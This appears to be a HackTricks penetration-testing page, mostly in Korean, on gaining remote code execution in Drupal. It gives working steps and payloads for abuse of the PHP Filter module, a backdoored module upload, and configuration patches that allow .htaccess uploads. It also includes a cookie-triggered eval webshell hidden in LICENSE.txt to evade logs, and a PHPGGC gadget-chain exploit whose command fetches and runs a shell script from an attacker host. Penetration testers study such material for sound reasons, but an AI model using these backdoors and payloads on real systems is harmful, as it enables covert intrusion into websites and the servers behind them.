Drupal RCE

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PHP Filter Module ์‚ฌ์šฉ

Warning

๊ตฌ๋ฒ„์ „์˜ Drupal **(version 8 ์ด์ „)**์—์„œ๋Š” ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ PHP filter ๋ชจ๋“ˆ์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์—ˆ์œผ๋ฉฐ, ์ด ๋ชจ๋“ˆ์€ โ€œ๋‚ด์žฅ๋œ PHP ์ฝ”๋“œ/์Šค๋‹ˆํŽซ์„ ํ‰๊ฐ€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.โ€ ํ•˜์ง€๋งŒ version 8๋ถ€ํ„ฐ ์ด ๋ชจ๋“ˆ์€ ๊ธฐ๋ณธ์œผ๋กœ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

  1. /modules/php๋กœ ์ด๋™ํ•˜๊ณ  403 ์—๋Ÿฌ๊ฐ€ ๋ฐ˜ํ™˜๋˜๋ฉด PHP filter plugin์ด ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ๊ณ„์† ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
  2. ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด Modules๋กœ ๊ฐ€์„œ PHP Filter์˜ ์ฒดํฌ๋ฐ•์Šค๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ Save configuration์„ ํด๋ฆญํ•˜์„ธ์š”
  3. ์ดํ›„ ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด Add content๋ฅผ ํด๋ฆญํ•˜๊ณ  Basic Page ๋˜๋Š” Article์„ ์„ ํƒํ•œ ๋’ค PHP backdoor๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ํ…์ŠคํŠธ ํ˜•์‹์—์„œ PHP ์ฝ”๋“œ๋ฅผ ์„ ํƒํ•œ ํ›„ Preview๋ฅผ ํด๋ฆญํ•˜์„ธ์š”
  4. ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด ์ƒˆ๋กœ ์ƒ์„ฑ๋œ node์— ์ ‘๊ทผํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:
curl http://drupal.local/node/3

PHP Filter ๋ชจ๋“ˆ ์„ค์น˜

Warning

ํ˜„์žฌ ๋ฒ„์ „์—์„œ๋Š” ๊ธฐ๋ณธ ์„ค์น˜ ์ดํ›„ ์›น ์ ‘๊ทผ๋งŒ์œผ๋กœ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ๋” ์ด์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋ฒ„์ „ 8 ์ด์ƒ๋ถ€ํ„ฐ๋Š” PHP Filter ๋ชจ๋“ˆ์ด ๊ธฐ๋ณธ์œผ๋กœ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋ชจ๋“ˆ์„ ์ง์ ‘ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  1. Drupal ์›น์‚ฌ์ดํŠธ์—์„œ ๋ชจ๋“ˆ์˜ ์ตœ์‹  ๋ฒ„์ „์„ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์™„๋ฃŒ๋˜๋ฉด Administration > Reports > Available updates ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  4. Browse ๋ฅผ ํด๋ฆญํ•˜๊ณ , ๋‹ค์šด๋กœ๋“œํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ํŒŒ์ผ์„ ์„ ํƒํ•œ ํ›„ Install ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  5. ๋ชจ๋“ˆ์ด ์„ค์น˜๋˜๋ฉด Content ๋ฅผ ํด๋ฆญํ•˜๊ณ  Drupal 7 ์˜ˆ์ œ์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ƒˆ ๊ธฐ๋ณธ ํŽ˜์ด์ง€๋ฅผ ์ƒ์„ฑ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์‹œ ํ•œ ๋ฒˆ, Text format ๋“œ๋กญ๋‹ค์šด์—์„œ PHP code ๋ฅผ ์„ ํƒํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

๋ฐฑ๋„์–ด ๋ชจ๋“ˆ

Warning

ํ˜„์žฌ ๋ฒ„์ „์—์„œ๋Š” ๊ธฐ๋ณธ ์„ค์น˜ ์ดํ›„ ์›น ์ ‘๊ทผ๋งŒ์œผ๋กœ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ๋” ์ด์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“ˆ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๊ทธ ์•ˆ์— ๋ฐฑ๋„์–ด๋ฅผ ์ถ”๊ฐ€ํ•œ ๋’ค ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์••์ถ•๋œ ํ˜•ํƒœ์˜ Trurnstile ๋ชจ๋“ˆ์„ ๋‹ค์šด๋กœ๋“œํ•œ ํ›„ ๊ทธ ๋‚ด๋ถ€์— ์ƒˆ๋กœ์šด PHP ๋ฐฑ๋„์–ด ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ , .htaccess ํŒŒ์ผ๋กœ ํ•ด๋‹น PHP ํŒŒ์ผ์— ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค:

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

And then going to http://drupal.local/admin/modules/install to install the backdoored module and access /modules/turnstile/back.php to execute it.

Backdooring Drupal with Configuration synchronization

๊ฒŒ์‹œ์ž Coiffeur0x90

Part 1 (Media ๋ฐ Media Library ํ™œ์„ฑํ™”)

In the Extend ๋ฉ”๋‰ด(/admin/modules)์—์„œ ์ด๋ฏธ ์„ค์น˜๋˜์–ด ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ๋“ค์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ Media ๋ฐ Media Library ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ, ์ด๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ์‹œ๋‹ค.

Before activation:

After activation:

Part 2 (Configuration synchronization ๊ธฐ๋Šฅ ํ™œ์šฉ)

Configuration synchronization ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด Drupal ๊ตฌ์„ฑ ํ•ญ๋ชฉ์„ ๋คํ”„(export)ํ•˜๊ณ  ์—…๋กœ๋“œ(import)ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

system.file.yml ํŒจ์น˜

๋จผ์ € ์ฒซ ํ•ญ๋ชฉ allow_insecure_uploads๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํŒจ์น˜ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์‹œ์ž‘ํ•ฉ์‹œ๋‹ค:

File: system.file.yml


...

allow_insecure_uploads: false

...

๋Œ€์ƒ:

File: system.file.yml


...

allow_insecure_uploads: true

...

ํŒจ์น˜ field.field.media.document.field_media_document.yml

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‘ ๋ฒˆ์งธ ํ•ญ๋ชฉ file_extensions๋ฅผ ๋‹ค์Œ์—์„œ ํŒจ์น˜ํ•ฉ๋‹ˆ๋‹ค:

ํŒŒ์ผ: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

๋Œ€์ƒ:

ํŒŒ์ผ: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

์ด ๋ธ”๋กœ๊ทธ ๊ธ€์—์„œ๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š์•˜์ง€๋งŒ, ์—”ํŠธ๋ฆฌ file_directory ๋ฅผ ์ž„์˜๋กœ ์ •์˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ path traversal ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜์—ฌ (Drupal ํŒŒ์ผ์‹œ์Šคํ…œ ํŠธ๋ฆฌ ๋‚ด์—์„œ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋‹ค) ๋ผ๊ณ  ์–ธ๊ธ‰๋˜์–ด ์žˆ๋‹ค.

Part 3 (๊ธฐ๋Šฅ Add Document ํ™œ์šฉ)

๋งˆ์ง€๋ง‰ ๋‹จ๊ณ„๋Š” ๊ฐ€์žฅ ๊ฐ„๋‹จํ•˜๋ฉฐ ๋‘ ๊ฐœ์˜ ํ•˜์œ„ ๋‹จ๊ณ„๋กœ ๋‚˜๋‰œ๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” .htaccess ํ˜•์‹์˜ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜์—ฌ Apache ์ง€์‹œ๋ฌธ์„ ํ™œ์šฉํ•˜๊ณ  .txt ํŒŒ์ผ์ด PHP ์—”์ง„์— ์˜ํ•ด ํ•ด์„๋˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๋‘ ๋ฒˆ์งธ๋Š” ์šฐ๋ฆฌ์˜ payload๋ฅผ ํฌํ•จํ•œ .txt ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

์™œ ์ด ํŠธ๋ฆญ์ด ๋ฉ‹์ง„๊ฐ€?

์™œ๋ƒํ•˜๋ฉด Webshell(์šฐ๋ฆฌ๊ฐ€ LICENSE.txt๋ผ๊ณ  ๋ถ€๋ฅผ ๊ฒƒ)๋ฅผ ์›น ์„œ๋ฒ„์— ์—…๋กœ๋“œํ•˜๋ฉด $_COOKIE๋ฅผ ํ†ตํ•ด ๋ช…๋ น์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ณ , ์›น ์„œ๋ฒ„ ๋กœ๊ทธ์—๋Š” ์ด๊ฒƒ์ด ํ…์ŠคํŠธ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ •๋‹นํ•œ GET request๋กœ ๊ธฐ๋ก๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์™œ Webshell ์ด๋ฆ„์„ LICENSE.txt๋กœ ์ง“๋Š”๊ฐ€?

๊ฐ„๋‹จํžˆ ๋งํ•˜๋ฉด, ์˜ˆ๋ฅผ ๋“ค์–ด core/LICENSE.txt (์ด๋ฏธ Drupal core์— ์กด์žฌํ•จ)๋ฅผ ๋ณด๋ฉด 339์ค„, 17.6 KB ํฌ๊ธฐ์˜ ํŒŒ์ผ์ด๋ฏ€๋กœ ๊ฐ€์šด๋ฐ์— ์ž‘์€ PHP ์ฝ”๋“œ ์Šค๋‹ˆํŽซ์„ ์ถ”๊ฐ€ํ•˜๊ธฐ์— ์™„๋ฒฝํ•ฉ๋‹ˆ๋‹ค(ํŒŒ์ผ์ด ์ถฉ๋ถ„ํžˆ ํฌ๊ธฐ ๋•Œ๋ฌธ์—).

File: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (.htaccess ํŒŒ์ผ ์—…๋กœ๋“œ)

๋จผ์ € Add Document (/media/add/document) ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด Apache ์ง€์‹œ๋ฌธ(.htaccess)์ด ํฌํ•จ๋œ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

Part 3.2 (LICENSE.txt ํŒŒ์ผ ์—…๋กœ๋“œ)

๊ทธ๋‹ค์Œ Add Document (/media/add/document) ๊ธฐ๋Šฅ์„ ๋‹ค์‹œ ์ด์šฉํ•ด ๋ผ์ด์„ ์Šค ํŒŒ์ผ ์•ˆ์— ์ˆจ๊ธด Webshell์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

Part 4 (Webshell๊ณผ์˜ ์ƒํ˜ธ์ž‘์šฉ)

๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์€ Webshell๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ ์Šคํฌ๋ฆฐ์ƒท์—์„œ ๋ณด๋“ฏ์ด, Webshell์ด ๊ธฐ๋Œ€ํ•˜๋Š” ์ฟ ํ‚ค๊ฐ€ ์ •์˜๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด ์›น ๋ธŒ๋ผ์šฐ์ €๋กœ ํŒŒ์ผ์„ ์กฐํšŒํ–ˆ์„ ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๋ฉด Webshell๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋กœ๊ทธ๋ฅผ ๋ณด๋ฉด ์š”์ฒญ๋œ ๊ฒƒ์€ ๋‹จ์ง€ txt ํŒŒ์ผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

์ด ๊ธ€์„ ์ฝ์–ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธ€์ด ๋ช‡ ๊ฐœ์˜ shells์„ ์–ป๋Š” ๋ฐ ๋„์›€์ด ๋˜๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค.

Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0โ€“7.101, 8.x, 10.2.0โ€“10.2.10, 10.3.0โ€“10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

์‹ค์ „ ์ต์Šคํ”Œ๋กœ์ž‡ ์›Œํฌํ”Œ๋กœ์šฐ:

  1. Find the unserialize sink (contrib module ๋˜๋Š” custom code). ์ฝ”๋“œ๋ฒ ์ด์Šค์—์„œ unserialize( ๋˜๋Š” Drupal\Component\Serialization\PhpSerialize::decode๋ฅผ grepํ•˜์„ธ์š”. POST/JSON์ด๋‚˜ ์„ค์ • ๊ฐ€์ ธ์˜ค๊ธฐ(configuration imports)๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ๋ฆฌ์„ธ์š”.
  2. Generate a payload ์ทจ์•ฝํ•œ ํด๋ž˜์Šค ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•ด gadget chain์— ๋งž๋Š” payload๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. SA-CORE-2024-008 ์ดํ›„ ๊ณต๊ฐœ๋œ ์ฒด์ธ์€ ์ผ๋ฐ˜์ ์ธ payload ์ƒ์„ฑ๊ธฐ์— ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. PHPGGC (commit โ‰ฅ Dec 2024) ์˜ˆ:
./phpggc drupal/rce2 system 'id' > payload.ser
  1. Deliver the serialized blob์„ sink(์˜ˆ: deserialized๋˜๋Š” parameter)๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. form-encoded body์˜ ๊ฒฝ์šฐ:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. Trigger destruction (์š”์ฒญ ์ข…๋ฃŒ ์‹œ ์ข…์ข… ์ž๋™์œผ๋กœ ๋ฐœ์ƒ) ๋ฐ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Notes for testing:

  • Gadget์€ 10.2.11 / 10.3.9 / 7.102 ์ด์ „(ํŒจ์น˜๋จ) ๋ฒ„์ „์—์„œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ ๋ฒ„์ „์€ /core/lib/Drupal.php ๋˜๋Š” CHANGELOG.txt์—์„œ ํ™•์ธํ•˜์„ธ์š”.
  • Thirdโ€‘party DB drivers๋Š” ์ถ”๊ฐ€ hardening์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ ๊ธฐ๊ฐ„์„ ๊ฑด๋„ˆ๋›ด ๋ฐฐํฌ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

Recent contrib-module unsafe deserialization โ†’ RCE

Several contrib modules fixed insecure unserialize() paths in late 2024. If the site is missing these updates, they give you the exploitable sink required by the core gadget chain:

  • Mailjet (<4.0.1, CVE-2024-13296): ๊ด€๋ฆฌ์ž ์ œ์–ด ๋ฐ์ดํ„ฐ๊ฐ€ unserialize()๋กœ ์ „๋‹ฌ๋˜์–ด, core gadgets์™€ ์—ฐ๊ฒฐ๋  ๋•Œ PHP Object Injection โ†’ RCE๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297): access administration pages ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์œ ์‚ฌํ•œ unsafe unserialize() ์‚ฌ์šฉ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

Testing idea (authenticated):

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

๋ชจ๋“ˆ์ด ์—…๋กœ๋“œ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•˜๋ฉด gadget chain์€ RCE๋ฅผ ๋ฐœ์ƒ์‹œํ‚จ๋‹ค. XSS/CSRF์™€ ๊ฒฐํ•ฉํ•ด ๊ด€๋ฆฌ์ž ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜๋ฉด ์ „์ฒด ๊ณต๊ฒฉ ์ฒด์ธ์ด ์™„์„ฑ๋œ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ